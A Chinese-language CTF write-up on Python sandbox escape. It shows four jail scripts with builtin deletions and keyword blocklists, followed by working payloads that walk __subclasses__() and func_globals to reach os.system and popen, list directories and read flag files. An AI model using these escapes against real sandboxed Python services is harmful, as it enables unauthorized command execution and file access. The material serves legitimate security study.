由于在现在的比赛中出现了沙盒逃逸这种题目,所以就针对python沙盒逃逸学习记录如下。python沙盒逃逸的思路就是题目删除了一些不安全的内建函数,模块导致环境的权限被降低,要利用python语言的特性进行限制的绕过。同时借助前几天赛中的沙盒逃逸演示一下。比赛中涉及的到Python沙盒逃逸往往是利用语言特性来逃逸,但是其实这只是从Python解释器的逃逸,从严格意义上说这是不完全的。从现实意义上来讲更进一步的是利用沙盒的逃逸来控制整个系统,Python的模块通常都是大量C代码的封装,这里面就有未被发现的内存破坏漏洞。所以比赛的题目只是一种思路,更多的还是要结合到实际生产环境中。
实例一
实验脚本:题目的设置,删除一些内建函数(Python语言加载的时候会自动加载系统的内建模块,python2中是builtin,Python3中是builtins)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22def make_secure():
UNSAFE = ['open','file','execfile','compile','reload','__import__','eval','input']
for func in UNSAFE:
del __builtins__.__dict__[func]
from re import findall
#Remove dangerous builtins
make_secure()
print 'Go Ahead,Expoit me > ;D'
while True:
try:
print ">>>",
#Read user input until the first whitespace character
inp = findall('\S+',raw_input())[0]
a = None
#Set a to the result from executing the user input
exec 'a='+inp
print '>>>',a
except Exception, e:
print 'Exception:',e
#后面这一段主要是将结果以字符串的形式操作并显示脚本运行结果:(环境的限制权限非常低)这里其实就是模拟Python的命令行界面,然后进行相应的操作,只是将一些内建函数删除了,所以无法调用系统命令等等
正常情况下Python的使用可以调用OS等模块,就可以进行系统命令的调用和文件操作等等:但是经过限制以后的环境就不可以调用了,因此不能调用系统命令拿到flag
由于删除了对应的内建函数,所以我们要利用Python的特性来绕过这种限制:Python中可以利用file来read文件 但是我们可以发现直接用file这种方式也是被限制了的,所以利用对象的概念,通过元组来加载:(有一个知识点:bases : 类的所有父类构成元素(包含了一个由所有父类组成的元组))
通过将所有父类组成的元组显示出来以后可以找到file在第40个,然后我们可以通过硬编码的方式调用file加载文件找到flag:
().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read()
实例二
首先还是贴上环境的脚本,前提条件和实例一差不多:(不同的是这里能够执行的内建函数只有输入输出,与实例一不同的还有就是这里不回显数据 )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23#!/usr/bin/python
print "Welcome to my python sandbox! Enter commands below!"
banned = ['import','exec','eval','pickle','os','subprocess','kevin sucks','input','banned','cry sum more','sys']
targets = __builtins__.__dict__.keys()
targets.remove('raw_input')
targets.remove('print')
for x in targets:
del __builtins__.__dict__[x]
while 1:
try:
print ">>>",
data = raw_input()
for no in banned:
if no.lower() in data.lower():
#将输入的字符转换为小写和banned中的字符转换为小写比较
print("Permission Denied")
break
exec data
except:
print ''环境运行结果如下:
思路与实例一还是一样,都是使用所有父类组成的元组,这里要使用到catch_warnings类(索引在59),进行命令执行
print ().__class__.__bases__[0].__subclasses__()
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
经过测试以后发现这里其实可以不用执行59的那个子类,因为没有禁用print函数,当然这里的59这个子类可以用到实例一中进行ls的调用
print ().__class__.__bases__[0].__subclasses__()[40]('./flag.txt').read()
实例三
实验环境代码如下:(这里用Python3写的,与前两个相比,这里先删除了两个危险的函数,然后对其他许多函数做了过滤,还对一些字符,如’.’都进行了过滤)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52#-*-coding:utf-8-*-
#!/usr/bin/python3
import sys, cmd, os
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
intro= """
pwnhubcuit
pwneverything
Rules:
-No import
-No ...
-No flag
"""
def execute(command):
exec(command, globals())
class Jail(cmd.Cmd):
prompt = '>>> '
filtered ='\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')
def do_EOF(self, line):
sys.exit()
def emptyline(self):
return cmd.Cmd.emptyline(self)
def default(self, line):
sys.stdout.write('\x00')
def postcmd(self, stop, line):
if any(f in line for f in self.filtered):
print("You are a big hacker!!!")
print("Go away")
else:
try:
execute(line)
except NameError:
print("NameError: name'%s' is not defined" % line)
except Exception:
print("Error: %s" %line)
return cmd.Cmd.postcmd(self, stop,line)
if __name__ == "__main__":
try:
Jail().cmdloop(intro)
except KeyboardInterrupt:
print("\rSee you next time!")所以这里就没有办法使用前面说的利用子类进行系统的调用,这里通过获取系统函数地址进行绕过:
print(getattr(os, "system")("ls"))
print(getattr(os, "system")("cat flag"))
以上三个实例就是利用Python作为脚本语言的特性来逃逸
实例四
拿最近一次比赛中的沙盒逃逸来演示一下。
拿到赛题以后nc连接一下并输入一些语句进行测试:(也是许多函数被限制且不回显,经过测试发现是Python2写的环境并且没有过滤‘ . ’)
这里和我们前面的练习不一样,这里必须要调用系统命令ls来看一下存放flag的文件,找到一个和getattr函数类似的函数getattribute
print ().__class__.__bases__[0].__getattribute__('o'+'s','sy''stem')('l''s')
发现可以使用单引号调用参数().__class__.__bases__[0].__getattribute__(__import__('o'+'s'),'sy''stem')('l''s')
构造第二个payload,尝试使用导入os模块的方法调用系统命令,结果失败,过滤了os:这个时候我们换一下思路,调用子类中的函数catch_warnings,在第59个,构造paylad:
print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('l''s').read
成功列出了目录,经过测试flag在home/ctf目录下:
print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('l''s /home').read()
然后我们加上getattribute构造payload:
print [].__class__.__base__.__subclasses__()[59].__init__.__getattribute__('func_global' + 's')['linecache'].__dict__['o'+'s'].__dict__['popen']('c''at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb').read()
总结
利用语言特性来进行解释器的逃逸,其实就是绕过python沙盒内部导入模块的白名单;这里我理解为它限制的是语言中最直接的模块、函数的调用,而我们利用的是通过封装的类,以及派生出的子类调用,实现相同的功能。还有不得不说的一点,结合生产环境,通过内存破坏、溢出等方式实现沙盒的的逃逸要理解很多东西,涉及到二进制、fuzzy等等,所以要通过不断的学习才可以综合的利用。由于水平有限,这里只能做到语言解释器的沙盒逃逸,而不是系统层面的。下面给出一个讲利用内存破坏实现Python沙盒逃逸的链接。